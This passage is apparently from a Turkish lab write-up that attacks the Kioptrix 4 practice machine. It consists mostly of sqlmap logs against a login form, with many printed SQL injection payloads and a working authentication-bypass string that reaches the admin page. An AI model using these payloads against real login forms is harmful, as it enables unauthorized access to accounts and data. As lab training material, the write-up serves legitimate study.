[20:15:05] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query)'
[20:15:06] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)'
[20:15:06] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)'
[20:15:06] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query)'
[20:15:07] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query)'
[20:15:07] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query - comment)'
[20:15:07] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query - comment)'
[20:15:07] [INFO] testing 'Informix AND time-based blind (heavy query)'
[20:15:07] [INFO] testing 'Informix OR time-based blind (heavy query)'
[20:15:08] [INFO] testing 'Informix AND time-based blind (heavy query - comment)'
[20:15:08] [INFO] testing 'Informix OR time-based blind (heavy query - comment)'
[20:15:08] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[20:15:08] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[20:15:08] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[20:15:08] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[20:15:08] [INFO] testing 'MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)'
[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[20:15:08] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'
[20:15:08] [INFO] testing 'PostgreSQL time-based blind - Parameter replace (heavy query)'
[20:15:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'
[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (heavy queries)'
[20:15:08] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
[20:15:08] [INFO] testing 'Firebird time-based blind - Parameter replace (heavy query)'
[20:15:08] [INFO] testing 'SAP MaxDB time-based blind - Parameter replace (heavy query)'
[20:15:08] [INFO] testing 'IBM DB2 time-based blind - Parameter replace (heavy query)'
[20:15:08] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)'
[20:15:09] [INFO] testing 'HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)'
[20:15:09] [INFO] testing 'Informix time-based blind - Parameter replace (heavy query)'
[20:15:09] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause'
[20:15:09] [INFO] testing 'MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)'
[20:15:09] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause'
[20:15:09] [INFO] testing 'PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query)'
[20:15:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)'
[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'
[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'
[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)'
[20:15:09] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query)'
[20:15:09] [INFO] testing 'HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[20:15:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[20:15:09] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[20:15:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[20:15:10] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[20:15:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
[20:15:10] [INFO] testing if (custom) POST parameter '#2*' is dynamic
[20:15:10] [WARNING] (custom) POST parameter '#2*' does not appear to be dynamic
[20:15:10] [INFO] heuristic (basic) test shows that (custom) POST parameter '#2*' might be injectable (possible DBMS: 'MySQL')
[20:15:10] [INFO] testing for SQL injection on (custom) POST parameter '#2*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[20:15:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:15:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
got a 302 redirect to 'http://10.10.250.143:80/login_success.php?username='. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[20:15:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[20:15:12] [INFO] (custom) POST parameter '#2*' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable (with --code=200)
[20:15:12] [INFO] testing 'Generic inline queries'
[20:15:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:15:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:15:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:15:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:15:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[20:15:12] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[20:15:12] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:15:12] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:15:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:15:12] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:15:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:15:12] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[20:15:12] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[20:15:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[20:15:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[20:15:12] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[20:15:12] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[20:15:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[20:15:12] [INFO] testing 'MySQL inline queries'
[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:15:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[20:15:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[20:15:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:15:22] [INFO] (custom) POST parameter '#2*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:15:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:15:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:15:22] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[20:15:22] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[20:15:22] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[20:15:23] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[20:15:23] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[20:15:23] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:15:23] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[20:15:23] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[20:15:24] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[20:15:24] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[20:15:24] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[20:15:24] [INFO] checking if the injection point on (custom) POST parameter '#2*' is a false positive
[20:15:24] [WARNING] false positive or unexploitable injection point detected
[20:15:24] [WARNING] (custom) POST parameter '#2*' does not seem to be injectable
[20:15:24] [CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 20:15:24 /2021-05-22/
sqlmap dmbs'in Mysql olabileceğini söylüyor. 2. parametrede yani mypassword de sql injection olabileceğini söylüyor ki infolara bakarsak got a 302 redirect to 'http://10.10.250.143:80/login_success.php?username= şeklinde bir yönlendirme de almışız. Şimdi test'i tekrar gerçekleştireceğim. Sadece 2. parametre için sqlmap denemeleri yaparken uyarı verdiği yerdeki payloadı elde etmek istiyordum. Ve aşağıdaki çıktıda elde ettim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" -v 3
___
__H__
___ ___[,]_____ ___ ___ {1.5.2#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:30:02 /2021-05-22/
[20:30:02] [INFO] parsing HTTP request from 'istek.txt'
[20:30:02] [DEBUG] not a valid WebScarab log data
[20:30:02] [DEBUG] cleaning up configuration parameters
[20:30:02] [DEBUG] setting the HTTP timeout
[20:30:02] [DEBUG] setting the HTTP User-Agent header
[20:30:02] [DEBUG] creating HTTP requests opener object
[20:30:02] [DEBUG] forcing back-end DBMS to user defined value
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
[20:30:04] [INFO] testing connection to the target URL
[20:30:04] [INFO] testing if the target URL content is stable
[20:30:04] [INFO] target URL content is stable
[20:30:04] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[20:30:04] [PAYLOAD] 8727
[20:30:04] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[20:30:04] [PAYLOAD] ))".))('.(
[20:30:04] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[20:30:04] [PAYLOAD] 'bVyROq<'">PzDHUn
[20:30:04] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[20:30:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:30:05] [PAYLOAD] ) AND 8769=5004-- vesj
[20:30:05] [PAYLOAD] ) AND 2552=2552-- odPO
[20:30:05] [PAYLOAD] ') AND 5787=5472-- rrBD
[20:30:05] [PAYLOAD] ') AND 2552=2552-- Yazv
[20:30:05] [PAYLOAD] ' AND 9307=2453-- kuWG
[20:30:05] [PAYLOAD] ' AND 2552=2552-- MsCy
[20:30:05] [PAYLOAD] " AND 2236=8821-- UtVQ
[20:30:05] [PAYLOAD] " AND 2552=2552-- rpty
[20:30:05] [PAYLOAD] ) AND 1829=8268 AND (8907=8907
[20:30:05] [PAYLOAD] ) AND 2552=2552 AND (7515=7515
[20:30:05] [PAYLOAD] )) AND 9323=3189 AND ((8254=8254
[20:30:05] [PAYLOAD] )) AND 2552=2552 AND ((9536=9536
[20:30:05] [PAYLOAD] ))) AND 3653=3641 AND (((6252=6252
[20:30:05] [PAYLOAD] ))) AND 2552=2552 AND (((8483=8483
[20:30:05] [PAYLOAD] AND 5134=8270
[20:30:05] [PAYLOAD] AND 2552=2552
[20:30:05] [PAYLOAD] ') AND 4588=7299 AND ('zIPb'='zIPb
[20:30:05] [PAYLOAD] ') AND 2552=2552 AND ('HdSA'='HdSA
[20:30:05] [PAYLOAD] ')) AND 4372=5323 AND (('RgiP'='RgiP
[20:30:05] [PAYLOAD] ')) AND 2552=2552 AND (('aRUl'='aRUl
[20:30:05] [PAYLOAD] '))) AND 1584=5771 AND ((('vtqo'='vtqo
[20:30:05] [PAYLOAD] '))) AND 2552=2552 AND ((('tjYJ'='tjYJ
[20:30:05] [PAYLOAD] ' AND 3759=1301 AND 'qpkj'='qpkj
[20:30:05] [PAYLOAD] ' AND 2552=2552 AND 'FyUD'='FyUD
[20:30:05] [PAYLOAD] ') AND 7248=3990 AND ('pKeG' LIKE 'pKeG
[20:30:05] [PAYLOAD] ') AND 2552=2552 AND ('ovhk' LIKE 'ovhk
[20:30:05] [PAYLOAD] ')) AND 3590=4828 AND (('eETt' LIKE 'eETt
[20:30:05] [PAYLOAD] ')) AND 2552=2552 AND (('xwlJ' LIKE 'xwlJ
[20:30:05] [PAYLOAD] '))) AND 2283=7282 AND ((('kDSz' LIKE 'kDSz
[20:30:05] [PAYLOAD] '))) AND 2552=2552 AND ((('GEQp' LIKE 'GEQp
[20:30:05] [PAYLOAD] %' AND 7655=5689 AND 'zWnQ%'='zWnQ
[20:30:05] [PAYLOAD] %' AND 2552=2552 AND 'USMb%'='USMb
[20:30:05] [PAYLOAD] ' AND 8638=7106 AND 'ioII' LIKE 'ioII
[20:30:05] [PAYLOAD] ' AND 2552=2552 AND 'AFey' LIKE 'AFey
[20:30:05] [PAYLOAD] ") AND 8306=3573 AND ("eipU"="eipU
[20:30:05] [PAYLOAD] ") AND 2552=2552 AND ("alSV"="alSV
[20:30:05] [PAYLOAD] ")) AND 3524=7568 AND (("avIJ"="avIJ
[20:30:05] [PAYLOAD] ")) AND 2552=2552 AND (("KGjr"="KGjr
[20:30:05] [PAYLOAD] "))) AND 7311=3091 AND ((("XCvj"="XCvj
[20:30:05] [PAYLOAD] "))) AND 2552=2552 AND ((("aiVn"="aiVn
[20:30:05] [PAYLOAD] " AND 6218=1065 AND "SmaY"="SmaY
[20:30:05] [PAYLOAD] " AND 2552=2552 AND "BQOw"="BQOw
[20:30:05] [PAYLOAD] ") AND 2813=7032 AND ("FVuu" LIKE "FVuu
[20:30:05] [PAYLOAD] ") AND 2552=2552 AND ("IVng" LIKE "IVng
[20:30:05] [PAYLOAD] ")) AND 3737=3445 AND (("pzee" LIKE "pzee
[20:30:05] [PAYLOAD] ")) AND 2552=2552 AND (("VShV" LIKE "VShV
[20:30:05] [PAYLOAD] "))) AND 5008=3235 AND ((("dRKG" LIKE "dRKG
[20:30:05] [PAYLOAD] "))) AND 2552=2552 AND ((("ckXg" LIKE "ckXg
[20:30:05] [PAYLOAD] " AND 3286=1170 AND "NGtH" LIKE "NGtH
[20:30:05] [PAYLOAD] " AND 2552=2552 AND "cTKO" LIKE "cTKO
[20:30:05] [PAYLOAD] AND 3263=2000-- KjOf
[20:30:05] [PAYLOAD] AND 2552=2552-- WroB
[20:30:05] [PAYLOAD] AND 4566=5765# HOVQ
[20:30:05] [PAYLOAD] AND 2552=2552# sFrC
[20:30:05] [PAYLOAD] ' AND 6592=2661 OR 'noPm'='eUtQ
[20:30:05] [PAYLOAD] ' AND 2552=2552 OR 'ASEs'='pAdj
[20:30:05] [PAYLOAD] ') WHERE 4675=4675 AND 2304=5200-- vGKc
[20:30:05] [PAYLOAD] ') WHERE 6530=6530 AND 2552=2552-- Mgwq
[20:30:05] [PAYLOAD] ") WHERE 1206=1206 AND 3068=3232-- CFIc
[20:30:05] [PAYLOAD] ") WHERE 1025=1025 AND 2552=2552-- mjSl
[20:30:05] [PAYLOAD] ) WHERE 2217=2217 AND 3085=6380-- rWCE
[20:30:05] [PAYLOAD] ) WHERE 1250=1250 AND 2552=2552-- ylnH
[20:30:05] [PAYLOAD] ' WHERE 4196=4196 AND 4732=5499-- kvJv
[20:30:05] [PAYLOAD] ' WHERE 4681=4681 AND 2552=2552-- phrk
[20:30:05] [PAYLOAD] " WHERE 8720=8720 AND 2842=2167-- WqFX
[20:30:05] [PAYLOAD] " WHERE 9315=9315 AND 2552=2552-- npcP
[20:30:05] [PAYLOAD] WHERE 9951=9951 AND 7089=2264-- UpJv
[20:30:05] [PAYLOAD] WHERE 9566=9566 AND 2552=2552-- ptYX
[20:30:05] [PAYLOAD] '||(SELECT 0x6d4c4c65 WHERE 3525=3525 AND 1050=1915)||'
[20:30:05] [PAYLOAD] '||(SELECT 0x41434165 WHERE 6847=6847 AND 2552=2552)||'
[20:30:05] [PAYLOAD] '||(SELECT 0x58524965 FROM DUAL WHERE 5482=5482 AND 1243=7338)||'
[20:30:05] [PAYLOAD] '||(SELECT 0x69505a73 FROM DUAL WHERE 5551=5551 AND 2552=2552)||'
[20:30:05] [PAYLOAD] '+(SELECT 0x6c467657 WHERE 5757=5757 AND 5860=9516)+'
[20:30:05] [PAYLOAD] '+(SELECT 0x49706c51 WHERE 1380=1380 AND 2552=2552)+'
[20:30:05] [PAYLOAD] ||(SELECT 0x68786763 FROM DUAL WHERE 2644=2644 AND 3884=4347)||
[20:30:05] [PAYLOAD] ||(SELECT 0x694b447a FROM DUAL WHERE 6066=6066 AND 2552=2552)||
[20:30:05] [PAYLOAD] ||(SELECT 0x67495a57 WHERE 1231=1231 AND 8769=2400)||
[20:30:05] [PAYLOAD] ||(SELECT 0x68545664 WHERE 8779=8779 AND 2552=2552)||
[20:30:05] [PAYLOAD] +(SELECT fVPM WHERE 3783=3783 AND 6859=4681)+
[20:30:05] [PAYLOAD] +(SELECT vaKg WHERE 1112=1112 AND 2552=2552)+
[20:30:05] [PAYLOAD] +(SELECT 0x42685245 WHERE 9994=9994 AND 1919=2715)+
[20:30:05] [PAYLOAD] +(SELECT 0x454e5161 WHERE 3380=3380 AND 2552=2552)+
[20:30:05] [PAYLOAD] ')) AS ZYdc WHERE 5573=5573 AND 6819=6522-- mtDf
[20:30:05] [PAYLOAD] ')) AS SwQI WHERE 1482=1482 AND 2552=2552-- iTyu
[20:30:05] [PAYLOAD] ")) AS cSuU WHERE 1121=1121 AND 2370=8698-- FOcl
[20:30:05] [PAYLOAD] ")) AS hYtK WHERE 6523=6523 AND 2552=2552-- bgwV
[20:30:05] [PAYLOAD] )) AS axdb WHERE 4079=4079 AND 3599=3440-- Hafb
[20:30:05] [PAYLOAD] )) AS phMR WHERE 1539=1539 AND 2552=2552-- Scvz
[20:30:05] [PAYLOAD] ') AS CDIZ WHERE 7564=7564 AND 2907=6543-- WfVT
[20:30:05] [PAYLOAD] ') AS JgJl WHERE 3186=3186 AND 2552=2552-- njTT
[20:30:05] [PAYLOAD] ") AS cgnM WHERE 5456=5456 AND 4098=8528-- VZUn
[20:30:05] [PAYLOAD] ") AS FWkZ WHERE 5140=5140 AND 2552=2552-- tmqn
[20:30:05] [PAYLOAD] ) AS IFNa WHERE 6680=6680 AND 5077=3154-- PmVe
[20:30:05] [PAYLOAD] ) AS hGIP WHERE 1808=1808 AND 2552=2552-- WGEC
[20:30:05] [PAYLOAD] ` WHERE 5882=5882 AND 3908=5406-- MRCd
[20:30:05] [PAYLOAD] ` WHERE 8815=8815 AND 2552=2552-- GjZt
[20:30:05] [PAYLOAD] `) WHERE 5066=5066 AND 9374=3329-- BMGy
[20:30:05] [PAYLOAD] `) WHERE 9744=9744 AND 2552=2552-- cEXn
[20:30:05] [PAYLOAD] `=`` AND 7823=2610 AND ``=`
[20:30:05] [PAYLOAD] `=`` AND 2552=2552 AND ``=`
[20:30:05] [PAYLOAD] "="" AND 7678=8059 AND ""="
[20:30:05] [PAYLOAD] "="" AND 2552=2552 AND ""="
[20:30:05] [PAYLOAD] ]-(SELECT 0 WHERE 5870=5870 AND 3149=7248)|[
[20:30:05] [PAYLOAD] ]-(SELECT 0 WHERE 2592=2592 AND 2552=2552)|[
[20:30:05] [PAYLOAD] ' IN BOOLEAN MODE) AND 2507=1374#
[20:30:05] [PAYLOAD] ' IN BOOLEAN MODE) AND 2552=2552#
[20:30:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[20:30:05] [PAYLOAD] -2304
[20:30:05] [PAYLOAD] -2850) OR 6386=1675-- jJXX
[20:30:05] [PAYLOAD] -3405) OR 1467=1467-- HkhP
[20:30:05] [PAYLOAD] -3919') OR 7815=8130-- pgYO
[20:30:05] [DEBUG] setting match ratio for current parameter to 0.584
[20:30:05] [PAYLOAD] -5417') OR 1467=1467-- fPLQ
[20:30:05] [PAYLOAD] -7763' OR 5598=8935-- VZgR
[20:30:05] [PAYLOAD] -3940' OR 1467=1467-- cWxz
got a 302 redirect to 'http://10.10.250.143:80/login_success.php?username=admin'. Do you want to follow? [Y/n] -3940' OR 1467=1467-- cWxz payloadını burp ilede kullandığımda başarılı bir şekilde login_success.php?username=admin sayfasına gidiyorum. Ancak yine bir hata ile karşılaşıyorum. Daha sonrasında tespit ettiğim kullanıcılar aklıma geldi ve onlar ile denedim. İsteğim aşağıdaki gibi oldu:
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# cat istek.txt
POST /checklogin.php HTTP/1.1
Host: 10.10.250.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://10.10.250.143
Connection: close
Referer: http://10.10.250.143/
Upgrade-Insecure-Requests: 1
myusername=john&mypassword=*&Submit=Login
Haydi şidmi sqlmap'e verelim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch
___
__H__
___ ___[(]_____ ___ ___ {1.5.2#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:34:07 /2021-05-22/
[20:34:07] [INFO] parsing HTTP request from 'istek.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[20:34:07] [INFO] testing connection to the target URL
[20:34:07] [INFO] testing if the target URL content is stable
[20:34:07] [INFO] target URL content is stable
[20:34:07] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[20:34:07] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[20:34:07] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[20:34:08] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[20:34:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
got a 302 redirect to 'http://10.10.250.143:80/login_success.php?username=john'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[20:34:08] [INFO] (custom) POST parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --code=302)
[20:34:08] [INFO] testing 'Generic inline queries'
[20:34:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:34:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:34:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:34:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:34:08] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[20:34:08] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[20:34:08] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:34:08] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:34:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:34:08] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:34:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:08] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:34:08] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:34:08] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:34:08] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[20:34:08] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[20:34:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[20:34:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[20:34:09] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[20:34:09] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[20:34:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[20:34:09] [INFO] testing 'MySQL inline queries'
[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:34:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[20:34:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[20:34:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
